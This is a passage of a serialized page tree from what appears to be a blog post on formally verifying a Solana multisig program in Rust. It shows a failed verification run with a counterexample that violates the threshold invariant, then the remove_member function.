}\n",[26587],{"type":25,"tag":115,"props":26588,"children":26589},{"__ignoreMap":7},[26590,26598,26606],{"type":25,"tag":201,"props":26591,"children":26592},{"class":203,"line":204},[26593],{"type":25,"tag":201,"props":26594,"children":26595},{"style":4497},[26596],{"type":31,"value":26597},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":25,"tag":201,"props":26599,"children":26600},{"class":203,"line":226},[26601],{"type":25,"tag":201,"props":26602,"children":26603},{"style":4497},[26604],{"type":31,"value":26605},"//     return err!(MsError::InvalidThreshold);\n",{"type":25,"tag":201,"props":26607,"children":26608},{"class":203,"line":278},[26609],{"type":25,"tag":201,"props":26610,"children":26611},{"style":4497},[26612],{"type":31,"value":26613},"// }\n",{"type":25,"tag":34,"props":26615,"children":26616},{},[26617],{"type":31,"value":26618},"And run again:",{"type":25,"tag":191,"props":26620,"children":26622},{"code":26621},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[26623],{"type":25,"tag":115,"props":26624,"children":26625},{"__ignoreMap":7},[26626],{"type":31,"value":26621},{"type":25,"tag":34,"props":26628,"children":26629},{},[26630],{"type":31,"value":26631},"We get the following counterexample:",{"type":25,"tag":191,"props":26633,"children":26635},{"code":26634,"language":4486,"meta":7,"className":4487,"style":7},"Account {\n    account: Ms {\n        threshold: 32768,\n        authority_index: 1,\n        transaction_index: 0,\n        ms_change_index: 0,\n        bump: 0,\n        create_key: ...,\n        allow_external_execute: false,\n        keys: SparseVec {\n            size: 5112,\n        },\n    },\n    info: AccountInfo { ... },\n}\n",[26636],{"type":25,"tag":115,"props":26637,"children":26638},{"__ignoreMap":7},[26639,26650,26670,26690,26710,26730,26750,26770,26790,26810,26831,26852,26859,26867,26897],{"type":25,"tag":201,"props":26640,"children":26641},{"class":203,"line":204},[26642,26646],{"type":25,"tag":201,"props":26643,"children":26644},{"style":4925},[26645],{"type":31,"value":18642},{"type":25,"tag":201,"props":26647,"children":26648},{"style":220},[26649],{"type":31,"value":327},{"type":25,"tag":201,"props":26651,"children":26652},{"class":203,"line":226},[26653,26658,26662,26666],{"type":25,"tag":201,"props":26654,"children":26655},{"style":246},[26656],{"type":31,"value":26657},"    account",{"type":25,"tag":201,"props":26659,"children":26660},{"style":261},[26661],{"type":31,"value":5997},{"type":25,"tag":201,"props":26663,"children":26664},{"style":4925},[26665],{"type":31,"value":22651},{"type":25,"tag":201,"props":26667,"children":26668},{"style":220},[26669],{"type":31,"value":327},{"type":25,"tag":201,"props":26671,"children":26672},{"class":203,"line":278},[26673,26677,26681,26686],{"type":25,"tag":201,"props":26674,"children":26675},{"style":246},[26676],{"type":31,"value":25316},{"type":25,"tag":201,"props":26678,"children":26679},{"style":261},[26680],{"type":31,"value":5997},{"type":25,"tag":201,"props":26682,"children":26683},{"style":426},[26684],{"type":31,"value":26685}," 32768",{"type":25,"tag":201,"props":26687,"children":26688},{"style":220},[26689],{"type":31,"value":547},{"type":25,"tag":201,"props":26691,"children":26692},{"class":203,"line":311},[26693,26698,26702,26706],{"type":25,"tag":201,"props":26694,"children":26695},{"style":246},[26696],{"type":31,"value":26697},"        authority_index",{"type":25,"tag":201,"props":26699,"children":26700},{"style":261},[26701],{"type":31,"value":5997},{"type":25,"tag":201,"props":26703,"children":26704},{"style":426},[26705],{"type":31,"value":6029},{"type":25,"tag":201,"props":26707,"children":26708},{"style":220},[26709],{"type":31,"value":547},{"type":25,"tag":201,"props":26711,"children":26712},{"class":203,"line":330},[26713,26718,26722,26726],{"type":25,"tag":201,"props":26714,"children":26715},{"style":246},[26716],{"type":31,"value":26717},"        transaction_index",{"type":25,"tag":201,"props":26719,"children":26720},{"style":261},[26721],{"type":31,"value":5997},{"type":25,"tag":201,"props":26723,"children":26724},{"style":426},[26725],{"type":31,"value":4554},{"type":25,"tag":201,"props":26727,"children":26728},{"style":220},[26729],{"type":31,"value":547},{"type":25,"tag":201,"props":26731,"children":26732},{"class":203,"line":397},[26733,26738,26742,26746],{"type":25,"tag":201,"props":26734,"children":26735},{"style":246},[26736],{"type":31,"value":26737},"        ms_change_index",{"type":25,"tag":201,"props":26739,"children":26740},{"style":261},[26741],{"type":31,"value":5997},{"type":25,"tag":201,"props":26743,"children":26744},{"style":426},[26745],{"type":31,"value":4554},{"type":25,"tag":201,"props":26747,"children":26748},{"style":220},[26749],{"type":31,"value":547},{"type":25,"tag":201,"props":26751,"children":26752},{"class":203,"line":437},[26753,26758,26762,26766],{"type":25,"tag":201,"props":26754,"children":26755},{"style":246},[26756],{"type":31,"value":26757},"        bump",{"type":25,"tag":201,"props":26759,"children":26760},{"style":261},[26761],{"type":31,"value":5997},{"type":25,"tag":201,"props":26763,"children":26764},{"style":426},[26765],{"type":31,"value":4554},{"type":25,"tag":201,"props":26767,"children":26768},{"style":220},[26769],{"type":31,"value":547},{"type":25,"tag":201,"props":26771,"children":26772},{"class":203,"line":464},[26773,26777,26781,26786],{"type":25,"tag":201,"props":26774,"children":26775},{"style":246},[26776],{"type":31,"value":25328},{"type":25,"tag":201,"props":26778,"children":26779},{"style":261},[26780],{"type":31,"value":5997},{"type":25,"tag":201,"props":26782,"children":26783},{"style":261},[26784],{"type":31,"value":26785}," ...",{"type":25,"tag":201,"props":26787,"children":26788},{"style":220},[26789],{"type":31,"value":547},{"type":25,"tag":201,"props":26791,"children":26792},{"class":203,"line":490},[26793,26798,26802,26806],{"type":25,"tag":201,"props":26794,"children":26795},{"style":246},[26796],{"type":31,"value":26797},"        allow_external_execute",{"type":25,"tag":201,"props":26799,"children":26800},{"style":261},[26801],{"type":31,"value":5997},{"type":25,"tag":201,"props":26803,"children":26804},{"style":208},[26805],{"type":31,"value":542},{"type":25,"tag":201,"props":26807,"children":26808},{"style":220},[26809],{"type":31,"value":547},{"type":25,"tag":201,"props":26811,"children":26812},{"class":203,"line":499},[26813,26818,26822,26827],{"type":25,"tag":201,"props":26814,"children":26815},{"style":246},[26816],{"type":31,"value":26817},"        keys",{"type":25,"tag":201,"props":26819,"children":26820},{"style":261},[26821],{"type":31,"value":5997},{"type":25,"tag":201,"props":26823,"children":26824},{"style":4925},[26825],{"type":31,"value":26826}," SparseVec",{"type":25,"tag":201,"props":26828,"children":26829},{"style":220},[26830],{"type":31,"value":327},{"type":25,"tag":201,"props":26832,"children":26833},{"class":203,"line":522},[26834,26839,26843,26848],{"type":25,"tag":201,"props":26835,"children":26836},{"style":246},[26837],{"type":31,"value":26838},"            size",{"type":25,"tag":201,"props":26840,"children":26841},{"style":261},[26842],{"type":31,"value":5997},{"type":25,"tag":201,"props":26844,"children":26845},{"style":426},[26846],{"type":31,"value":26847}," 5112",{"type":25,"tag":201,"props":26849,"children":26850},{"style":220},[26851],{"type":31,"value":547},{"type":25,"tag":201,"props":26853,"children":26854},{"class":203,"line":531},[26855],{"type":25,"tag":201,"props":26856,"children":26857},{"style":220},[26858],{"type":31,"value":789},{"type":25,"tag":201,"props":26860,"children":26861},{"class":203,"line":550},[26862],{"type":25,"tag":201,"props":26863,"children":26864},{"style":220},[26865],{"type":31,"value":26866},"    },\n",{"type":25,"tag":201,"props":26868,"children":26869},{"class":203,"line":563},[26870,26875,26879,26884,26888,26892],{"type":25,"tag":201,"props":26871,"children":26872},{"style":246},[26873],{"type":31,"value":26874},"    info",{"type":25,"tag":201,"props":26876,"children":26877},{"style":261},[26878],{"type":31,"value":5997},{"type":25,"tag":201,"props":26880,"children":26881},{"style":4925},[26882],{"type":31,"value":26883}," AccountInfo",{"type":25,"tag":201,"props":26885,"children":26886},{"style":220},[26887],{"type":31,"value":11090},{"type":25,"tag":201,"props":26889,"children":26890},{"style":261},[26891],{"type":31,"value":11095},{"type":25,"tag":201,"props":26893,"children":26894},{"style":220},[26895],{"type":31,"value":26896}," },\n",{"type":25,"tag":201,"props":26898,"children":26899},{"class":203,"line":572},[26900],{"type":25,"tag":201,"props":26901,"children":26902},{"style":220},[26903],{"type":31,"value":1187},{"type":25,"tag":34,"props":26905,"children":26906},{},[26907,26909,26914,26916,26921],{"type":31,"value":26908},"Here we see that the ",{"type":25,"tag":115,"props":26910,"children":26912},{"className":26911},[],[26913],{"type":31,"value":24245},{"type":31,"value":26915}," of the newly created ",{"type":25,"tag":115,"props":26917,"children":26919},{"className":26918},[],[26920],{"type":31,"value":24237},{"type":31,"value":26922}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":25,"tag":40,"props":26924,"children":26926},{"id":26925},"verify-requirements-to-remove-a-member",[26927],{"type":31,"value":24275},{"type":25,"tag":34,"props":26929,"children":26930},{},[26931,26933,26938,26939,26944,26946,26952],{"type":31,"value":26932},"Now that we've seen both ",{"type":25,"tag":115,"props":26934,"children":26936},{"className":26935},[],[26937],{"type":31,"value":21651},{"type":31,"value":12493},{"type":25,"tag":115,"props":26940,"children":26942},{"className":26941},[],[26943],{"type":31,"value":23273},{"type":31,"value":26945}," let's take a look at the ",{"type":25,"tag":115,"props":26947,"children":26949},{"className":26948},[],[26950],{"type":31,"value":26951},"remove_member",{"type":31,"value":26953}," function:",{"type":25,"tag":191,"props":26955,"children":26957},{"code":26956,"language":4486,"meta":7,"className":4487,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[26958],{"type":25,"tag":115,"props":26959,"children":26960},{"__ignoreMap":7},[26961,26984,27012,27027,27072,27079,27091,27106,27118,27144,27152,27181,27188,27220,27227,27234,27308,27316,27376,27408,27415,27466,27473,27481,27574,27663,27717,27724,27769,27814],{"type":25,"tag":201,"props":26962,"children":26963},{"class":203,"line":204},[26964,26968,26972,26976,26980],{"type":25,"tag":201,"props":26965,"children":26966},{"style":220},[26967],{"type":31,"value":24333},{"type":25,"tag":201,"props":26969,"children":26970},{"style":4925},[26971],{"type":31,"value":24338},{"type":25,"tag":201,"props":26973,"children":26974},{"style":220},[26975],{"type":31,"value":919},{"type":25,"tag":201,"props":26977,"children":26978},{"style":4925},[26979],{"type":31,"value":26196},{"type":25,"tag":201,"props":26981,"children":26982},{"style":220},[26983],{"type":31,"value":21755},{"type":25,"tag":201,"props":26985,"children":26986},{"class":203,"line":226},[26987,26991,26995,27000,27004,27008],{"type":25,"tag":201,"props":26988,"children":26989},{"style":208},[26990],{"type":31,"value":15192},{"type":25,"tag":201,"props":26992,"children":26993},{"style":208},[26994],{"type":31,"value":22646},{"type":25,"tag":201,"props":26996,"children":26997},{"style":4925},[26998],{"type":31,"value":26999}," MsAuth",{"type":25,"tag":201,"props":27001,"children":27002},{"style":220},[27003],{"type":31,"value":24418},{"type":25,"tag":201,"props":27005,"children":27006},{"style":4925},[27007],{"type":31,"value":24423},{"type":25,"tag":201,"props":27009,"children":27010},{"style":220},[27011],{"type":31,"value":8790},{"type":25,"tag":201,"props":27013,"children":27014},{"class":203,"line":278},[27015,27019,27023],{"type":25,"tag":201,"props":27016,"children":27017},{"style":220},[27018],{"type":31,"value":24623},{"type":25,"tag":201,"props":27020,"children":27021},{"style":208},[27022],{"type":31,"value":5228},{"type":25,"tag":201,"props":27024,"children":27025},{"style":220},[27026],{"type":31,"value":21755},{"type":25,"tag":201,"props":27028,"children":27029},{"class":203,"line":311},[27030,27035,27039,27044,27048,27052,27056,27060,27064,27068],{"type":25,"tag":201,"props":27031,"children":27032},{"style":246},[27033],{"type":31,"value":27034},"    multisig",{"type":25,"tag":201,"props":27036,"children":27037},{"style":261},[27038],{"type":31,"value":5997},{"type":25,"tag":201,"props":27040,"children":27041},{"style":4925},[27042],{"type":31,"value":27043}," Box",{"type":25,"tag":201,"props":27045,"children":27046},{"style":220},[27047],{"type":31,"value":1298},{"type":25,"tag":201,"props":27049,"children":27050},{"style":4925},[27051],{"type":31,"value":18642},{"type":25,"tag":201,"props":27053,"children":27054},{"style":220},[27055],{"type":31,"value":24418},{"type":25,"tag":201,"props":27057,"children":27058},{"style":4925},[27059],{"type":31,"value":24423},{"type":25,"tag":201,"props":27061,"children":27062},{"style":220},[27063],{"type":31,"value":919},{"type":25,"tag":201,"props":27065,"children":27066},{"style":4925},[27067],{"type":31,"value":24237},{"type":25,"tag":201,"props":27069,"children":27070},{"style":220},[27071],{"type":31,"value":8460},{"type":25,"tag":201,"props":27073,"children":27074},{"class":203,"line":330},[27075],{"type":25,"tag":201,"props":27076,"children":27077},{"style":220},[27078],{"type":31,"value":24435},{"type":25,"tag":201,"props":27080,"children":27081},{"class":203,"line":397},[27082,27087],{"type":25,"tag":201,"props":27083,"children":27084},{"style":208},[27085],{"type":31,"value":27086},"        mut",{"type":25,"tag":201,"props":27088,"children":27089},{"style":220},[27090],{"type":31,"value":547},{"type":25,"tag":201,"props":27092,"children":27093},{"class":203,"line":437},[27094,27098,27102],{"type":25,"tag":201,"props":27095,"children":27096},{"style":220},[27097],{"type":31,"value":24519},{"type":25,"tag":201,"props":27099,"children":27100},{"style":261},[27101],{"type":31,"value":1383},{"type":25,"tag":201,"props":27103,"children":27104},{"style":220},[27105],{"type":31,"value":519},{"type":25,"tag":201,"props":27107,"children":27108},{"class":203,"line":464},[27109,27114],{"type":25,"tag":201,"props":27110,"children":27111},{"style":267},[27112],{"type":31,"value":27113},"            b\"squad\"",{"type":25,"tag":201,"props":27115,"children":27116},{"style":220},[27117],{"type":31,"value":547},{"type":25,"tag":201,"props":27119,"children":27120},{"class":203,"line":490},[27121,27126,27130,27135,27139],{"type":25,"tag":201,"props":27122,"children":27123},{"style":220},[27124],{"type":31,"value":27125},"            multisig",{"type":25,"tag":201,"props":27127,"children":27128},{"style":261},[27129],{"type":31,"value":80},{"type":25,"tag":201,"props":27131,"children":27132},{"style":220},[27133],{"type":31,"value":27134},"create_key",{"type":25,"tag":201,"props":27136,"children":27137},{"style":261},[27138],{"type":31,"value":80},{"type":25,"tag":201,"props":27140,"children":27141},{"style":220},[27142],{"type":31,"value":27143},"as_ref(),\n",{"type":25,"tag":201,"props":27145,"children":27146},{"class":203,"line":499},[27147],{"type":25,"tag":201,"props":27148,"children":27149},{"style":267},[27150],{"type":31,"value":27151},"            b\"multisig\"\n",{"type":25,"tag":201,"props":27153,"children":27154},{"class":203,"line":522},[27155,27160,27165,27169,27173,27177],{"type":25,"tag":201,"props":27156,"children":27157},{"style":220},[27158],{"type":31,"value":27159},"        ], ",{"type":25,"tag":201,"props":27161,"children":27162},{"style":246},[27163],{"type":31,"value":27164},"bump",{"type":25,"tag":201,"props":27166,"children":27167},{"style":261},[27168],{"type":31,"value":413},{"type":25,"tag":201,"props":27170,"children":27171},{"style":246},[27172],{"type":31,"value":24579},{"type":25,"tag":201,"props":27174,"children":27175},{"style":261},[27176],{"type":31,"value":80},{"type":25,"tag":201,"props":27178,"children":27179},{"style":220},[27180],{"type":31,"value":24559},{"type":25,"tag":201,"props":27182,"children":27183},{"class":203,"line":531},[27184],{"type":25,"tag":201,"props":27185,"children":27186},{"style":220},[27187],{"type":31,"value":24567},{"type":25,"tag":201,"props":27189,"children":27190},{"class":203,"line":550},[27191,27195,27200,27204,27208,27212,27216],{"type":25,"tag":201,"props":27192,"children":27193},{"style":208},[27194],{"type":31,"value":22338},{"type":25,"tag":201,"props":27196,"children":27197},{"style":246},[27198],{"type":31,"value":27199}," multisig_auth",{"type":25,"tag":201,"props":27201,"children":27202},{"style":261},[27203],{"type":31,"value":5997},{"type":25,"tag":201,"props":27205,"children":27206},{"style":4925},[27207],{"type":31,"value":24652},{"type":25,"tag":201,"props":27209,"children":27210},{"style":220},[27211],{"type":31,"value":24418},{"type":25,"tag":201,"props":27213,"children":27214},{"style":4925},[27215],{"type":31,"value":24423},{"type":25,"tag":201,"props":27217,"children":27218},{"style":220},[27219],{"type":31,"value":7646},{"type":25,"tag":201,"props":27221,"children":27222},{"class":203,"line":563},[27223],{"type":25,"tag":201,"props":27224,"children":27225},{"style":220},[27226],{"type":31,"value":1187},{"type":25,"tag":201,"props":27228,"children":27229},{"class":203,"line":572},[27230],{"type":25,"tag":201,"props":27231,"children":27232},{"emptyLinePlaceholder":17},[27233],{"type":31,"value":496},{"type":25,"tag":201,"props":27235,"children":27236},{"class":203,"line":590},[27237,27241,27245,27250,27254,27258,27262,27266,27270,27275,27279,27284,27288,27292,27296,27300,27304],{"type":25,"tag":201,"props":27238,"children":27239},{"style":208},[27240],{"type":31,"value":15192},{"type":25,"tag":201,"props":27242,"children":27243},{"style":208},[27244],{"type":31,"value":15197},{"type":25,"tag":201,"props":27246,"children":27247},{"style":214},[27248],{"type":31,"value":27249}," remove_member",{"type":25,"tag":201,"props":27251,"children":27252},{"style":220},[27253],{"type":31,"value":298},{"type":25,"tag":201,"props":27255,"children":27256},{"style":246},[27257],{"type":31,"value":21777},{"type":25,"tag":201,"props":27259,"children":27260},{"style":261},[27261],{"type":31,"value":5997},{"type":25,"tag":201,"props":27263,"children":27264},{"style":4925},[27265],{"type":31,"value":21786},{"type":25,"tag":201,"props":27267,"children":27268},{"style":220},[27269],{"type":31,"value":1298},{"type":25,"tag":201,"props":27271,"children":27272},{"style":4925},[27273],{"type":31,"value":27274},"MsAuth",{"type":25,"tag":201,"props":27276,"children":27277},{"style":220},[27278],{"type":31,"value":8139},{"type":25,"tag":201,"props":27280,"children":27281},{"style":246},[27282],{"type":31,"value":27283},"old_member",{"type":25,"tag":201,"props":27285,"children":27286},{"style":261},[27287],{"type":31,"value":5997},{"type":25,"tag":201,"props":27289,"children":27290},{"style":4925},[27291],{"type":31,"value":22352},{"type":25,"tag":201,"props":27293,"children":27294},{"style":220},[27295],{"type":31,"value":385},{"type":25,"tag":201,"props":27297,"children":27298},{"style":261},[27299],{"type":31,"value":15259},{"type":25,"tag":201,"props":27301,"children":27302},{"style":4925},[27303],{"type":31,"value":15264},{"type":25,"tag":201,"props":27305,"children":27306},{"style":220},[27307],{"type":31,"value":21828},{"type":25,"tag":201,"props":27309,"children":27310},{"class":203,"line":608},[27311],{"type":25,"tag":201,"props":27312,"children":27313},{"style":4497},[27314],{"type":31,"value":27315},"    // if there is only one key in this multisig, reject the removal\n",{"type":25,"tag":201,"props":27317,"children":27318},{"class":203,"line":617},[27319,27323,27328,27332,27336,27340,27344,27348,27352,27356,27360,27364,27368,27372],{"type":25,"tag":201,"props":27320,"children":27321},{"style":230},[27322],{"type":31,"value":13781},{"type":25,"tag":201,"props":27324,"children":27325},{"style":246},[27326],{"type":31,"value":27327}," ctx",{"type":25,"tag":201,"props":27329,"children":27330},{"style":261},[27331],{"type":31,"value":80},{"type":25,"tag":201,"props":27333,"children":27334},{"style":220},[27335],{"type":31,"value":380},{"type":25,"tag":201,"props":27337,"children":27338},{"style":261},[27339],{"type":31,"value":80},{"type":25,"tag":201,"props":27341,"children":27342},{"style":220},[27343],{"type":31,"value":25296},{"type":25,"tag":201,"props":27345,"children":27346},{"style":261},[27347],{"type":31,"value":80},{"type":25,"tag":201,"props":27349,"children":27350},{"style":220},[27351],{"type":31,"value":22478},{"type":25,"tag":201,"props":27353,"children":27354},{"style":261},[27355],{"type":31,"value":80},{"type":25,"tag":201,"props":27357,"children":27358},{"style":214},[27359],{"type":31,"value":10643},{"type":25,"tag":201,"props":27361,"children":27362},{"style":220},[27363],{"type":31,"value":15545},{"type":25,"tag":201,"props":27365,"children":27366},{"style":261},[27367],{"type":31,"value":10083},{"type":25,"tag":201,"props":27369,"children":27370},{"style":426},[27371],{"type":31,"value":6029},{"type":25,"tag":201,"props":27373,"children":27374},{"style":220},[27375],{"type":31,"value":327},{"type":25,"tag":201,"props":27377,"children":27378},{"class":203,"line":625},[27379,27383,27387,27391,27395,27399,27404],{"type":25,"tag":201,"props":27380,"children":27381},{"style":230},[27382],{"type":31,"value":17239},{"type":25,"tag":201,"props":27384,"children":27385},{"style":214},[27386],{"type":31,"value":25012},{"type":25,"tag":201,"props":27388,"children":27389},{"style":220},[27390],{"type":31,"value":298},{"type":25,"tag":201,"props":27392,"children":27393},{"style":4925},[27394],{"type":31,"value":25021},{"type":25,"tag":201,"props":27396,"children":27397},{"style":261},[27398],{"type":31,"value":4988},{"type":25,"tag":201,"props":27400,"children":27401},{"style":4925},[27402],{"type":31,"value":27403},"CannotRemoveSoloMember",{"type":25,"tag":201,"props":27405,"children":27406},{"style":220},[27407],{"type":31,"value":308},{"type":25,"tag":201,"props":27409,"children":27410},{"class":203,"line":642},[27411],{"type":25,"tag":201,"props":27412,"children":27413},{"style":220},[27414],{"type":31,"value":4861},{"type":25,"tag":201,"props":27416,"children":27417},{"class":203,"line":659},[27418,27422,27426,27430,27434,27438,27442,27446,27450,27454,27458,27462],{"type":25,"tag":201,"props":27419,"children":27420},{"style":246},[27421],{"type":31,"value":21720},{"type":25,"tag":201,"props":27423,"children":27424},{"style":261},[27425],{"type":31,"value":80},{"type":25,"tag":201,"props":27427,"children":27428},{"style":220},[27429],{"type":31,"value":380},{"type":25,"tag":201,"props":27431,"children":27432},{"style":261},[27433],{"type":31,"value":80},{"type":25,"tag":201,"props":27435,"children":27436},{"style":220},[27437],{"type":31,"value":25296},{"type":25,"tag":201,"props":27439,"children":27440},{"style":261},[27441],{"type":31,"value":80},{"type":25,"tag":201,"props":27443,"children":27444},{"style":214},[27445],{"type":31,"value":26951},{"type":25,"tag":201,"props":27447,"children":27448},{"style":220},[27449],{"type":31,"value":298},{"type":25,"tag":201,"props":27451,"children":27452},{"style":246},[27453],{"type":31,"value":27283},{"type":25,"tag":201,"props":27455,"children":27456},{"style":220},[27457],{"type":31,"value":3073},{"type":25,"tag":201,"props":27459,"children":27460},{"style":261},[27461],{"type":31,"value":4661},{"type":25,"tag":201,"props":27463,"children":27464},{"style":220},[27465],{"type":31,"value":461},{"type":25,"tag":201,"props":27467,"children":27468},{"class":203,"line":667},[27469],{"type":25,"tag":201,"props":27470,"children":27471},{"emptyLinePlaceholder":17},[27472],{"type":31,"value":496},{"type":25,"tag":201,"props":27474,"children":27475},{"class":203,"line":676},[27476],{"type":25,"tag":201,"props":27477,"children":27478},{"style":4497},[27479],{"type":31,"value":27480},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":25,"tag":201,"props":27482,"children":27483},{"class":203,"line":694},[27484,27488,27492,27496,27500,27504,27508,27512,27516,27520,27524,27529,27533,27537,27541,27545,27549,27553,27557,27561,27565,27569],{"type":25,"tag":201,"props":27485,"children":27486},{"style":230},[27487],{"type":31,"value":13781},{"type":25,"tag":201,"props":27489,"children":27490},{"style":246},[27491],{"type":31,"value":27327},{"type":25,"tag":201,"props":27493,"children":27494},{"style":261},[27495],{"type":31,"value":80},{"type":25,"tag":201,"props":27497,"children":27498},{"style":220},[27499],{"type":31,"value":380},{"type":25,"tag":201,"props":27501,"children":27502},{"style":261},[27503],{"type":31,"value":80},{"type":25,"tag":201,"props":27505,"children":27506},{"style":220},[27507],{"type":31,"value":25296},{"type":25,"tag":201,"props":27509,"children":27510},{"style":261},[27511],{"type":31,"value":80},{"type":25,"tag":201,"props":27513,"children":27514},{"style":220},[27515],{"type":31,"value":22478},{"type":25,"tag":201,"props":27517,"children":27518},{"style":261},[27519],{"type":31,"value":80},{"type":25,"tag":201,"props":27521,"children":27522},{"style":214},[27523],{"type":31,"value":10643},{"type":25,"tag":201,"props":27525,"children":27526},{"style":220},[27527],{"type":31,"value":27528},"() \u003C ",{"type":25,"tag":201,"props":27530,"children":27531},{"style":4925},[27532],{"type":31,"value":18097},{"type":25,"tag":201,"props":27534,"children":27535},{"style":261},[27536],{"type":31,"value":4988},{"type":25,"tag":201,"props":27538,"children":27539},{"style":214},[27540],{"type":31,"value":20972},{"type":25,"tag":201,"props":27542,"children":27543},{"style":220},[27544],{"type":31,"value":298},{"type":25,"tag":201,"props":27546,"children":27547},{"style":246},[27548],{"type":31,"value":21777},{"type":25,"tag":201,"props":27550,"children":27551},{"style":261},[27552],{"type":31,"value":80},{"type":25,"tag":201,"props":27554,"children":27555},{"style":220},[27556],{"type":31,"value":380},{"type":25,"tag":201,"props":27558,"children":27559},{"style":261},[27560],{"type":31,"value":80},{"type":25,"tag":201,"props":27562,"children":27563},{"style":220},[27564],{"type":31,"value":25296},{"type":25,"tag":201,"props":27566,"children":27567},{"style":261},[27568],{"type":31,"value":80},{"type":25,"tag":201,"props":27570,"children":27571},{"style":220},[27572],{"type":31,"value":27573},"threshold) {\n",{"type":25,"tag":201,"props":27575,"children":27576},{"class":203,"line":707},[27577,27581,27586,27590,27594,27598,27602,27606,27610,27614,27618,27622,27626,27630,27634,27638,27642,27647,27651,27655,27659],{"type":25,"tag":201,"props":27578,"children":27579},{"style":208},[27580],{"type":31,"value":1897},{"type":25,"tag":201,"props":27582,"children":27583},{"style":246},[27584],{"type":31,"value":27585}," new_threshold",{"type":25,"tag":201,"props":27587,"children":27588},{"style":261},[27589],{"type":31,"value":5997},{"type":25,"tag":201,"props":27591,"children":27592},{"style":4925},[27593],{"type":31,"value":22525},{"type":25,"tag":201,"props":27595,"children":27596},{"style":261},[27597],{"type":31,"value":413},{"type":25,"tag":201,"props":27599,"children":27600},{"style":246},[27601],{"type":31,"value":27327},{"type":25,"tag":201,"props":27603,"children":27604},{"style":261},[27605],{"type":31,"value":80},{"type":25,"tag":201,"props":27607,"children":27608},{"style":220},[27609],{"type":31,"value":380},{"type":25,"tag":201,"props":27611,"children":27612},{"style":261},[27613],{"type":31,"value":80},{"type":25,"tag":201,"props":27615,"children":27616},{"style":220},[27617],{"type":31,"value":25296},{"type":25,"tag":201,"props":27619,"children":27620},{"style":261},[27621],{"type":31,"value":80},{"type":25,"tag":201,"props":27623,"children":27624},{"style":220},[27625],{"type":31,"value":22478},{"type":25,"tag":201,"props":27627,"children":27628},{"style":261},[27629],{"type":31,"value":80},{"type":25,"tag":201,"props":27631,"children":27632},{"style":214},[27633],{"type":31,"value":10643},{"type":25,"tag":201,"props":27635,"children":27636},{"style":220},[27637],{"type":31,"value":15381},{"type":25,"tag":201,"props":27639,"children":27640},{"style":261},[27641],{"type":31,"value":80},{"type":25,"tag":201,"props":27643,"children":27644},{"style":214},[27645],{"type":31,"value":27646},"try_into",{"type":25,"tag":201,"props":27648,"children":27649},{"style":220},[27650],{"type":31,"value":15381},{"type":25,"tag":201,"props":27652,"children":27653},{"style":261},[27654],{"type":31,"value":80},{"type":25,"tag":201,"props":27656,"children":27657},{"style":214},[27658],{"type":31,"value":5170},{"type":25,"tag":201,"props":27660,"children":27661},{"style":220},[27662],{"type":31,"value":1985},{"type":25,"tag":201,"props":27664,"children":27665},{"class":203,"line":715},[27666,27671,27675,27679,27683,27687,27691,27696,27700,27705,27709,27713],{"type":25,"tag":201,"props":27667,"children":27668},{"style":246},[27669],{"type":31,"value":27670},"        ctx",{"type":25,"tag":201,"props":27672,"children":27673},{"style":261},[27674],{"type":31,"value":80},{"type":25,"tag":201,"props":27676,"children":27677},{"style":220},[27678],{"type":31,"value":380},{"type":25,"tag":201,"props":27680,"children":27681},{"style":261},[27682],{"type":31,"value":80},{"type":25,"tag":201,"props":27684,"children":27685},{"style":220},[27686],{"type":31,"value":25296},{"type":25,"tag":201,"props":27688,"children":27689},{"style":261},[27690],{"type":31,"value":80},{"type":25,"tag":201,"props":27692,"children":27693},{"style":214},[27694],{"type":31,"value":27695},"change_threshold",{"type":25,"tag":201,"props":27697,"children":27698},{"style":220},[27699],{"type":31,"value":298},{"type":25,"tag":201,"props":27701,"children":27702},{"style":246},[27703],{"type":31,"value":27704},"new_threshold",{"type":25,"tag":201,"props":27706,"children":27707},{"style":220},[27708],{"type":31,"value":3073},{"type":25,"tag":201,"props":27710,"children":27711},{"style":261},[27712],{"type":31,"value":4661},{"type":25,"tag":201,"props":27714,"children":27715},{"style":220},[27716],{"type":31,"value":461},{"type":25,"tag":201,"props":27718,"children":27719},{"class":203,"line":732},[27720],{"type":25,"tag":201,"props":27721,"children":27722},{"style":220},[27723],{"type":31,"value":4861},{"type":25,"tag":201,"props":27725,"children":27726},{"class":203,"line":749},[27727,27731,27736,27740,27744,27748,27752,27756,27760,27764],{"type":25,"tag":201,"props":27728,"children":27729},{"style":208},[27730],{"type":31,"value":4508},{"type":25,"tag":201,"props":27732,"children":27733},{"style":246},[27734],{"type":31,"value":27735}," 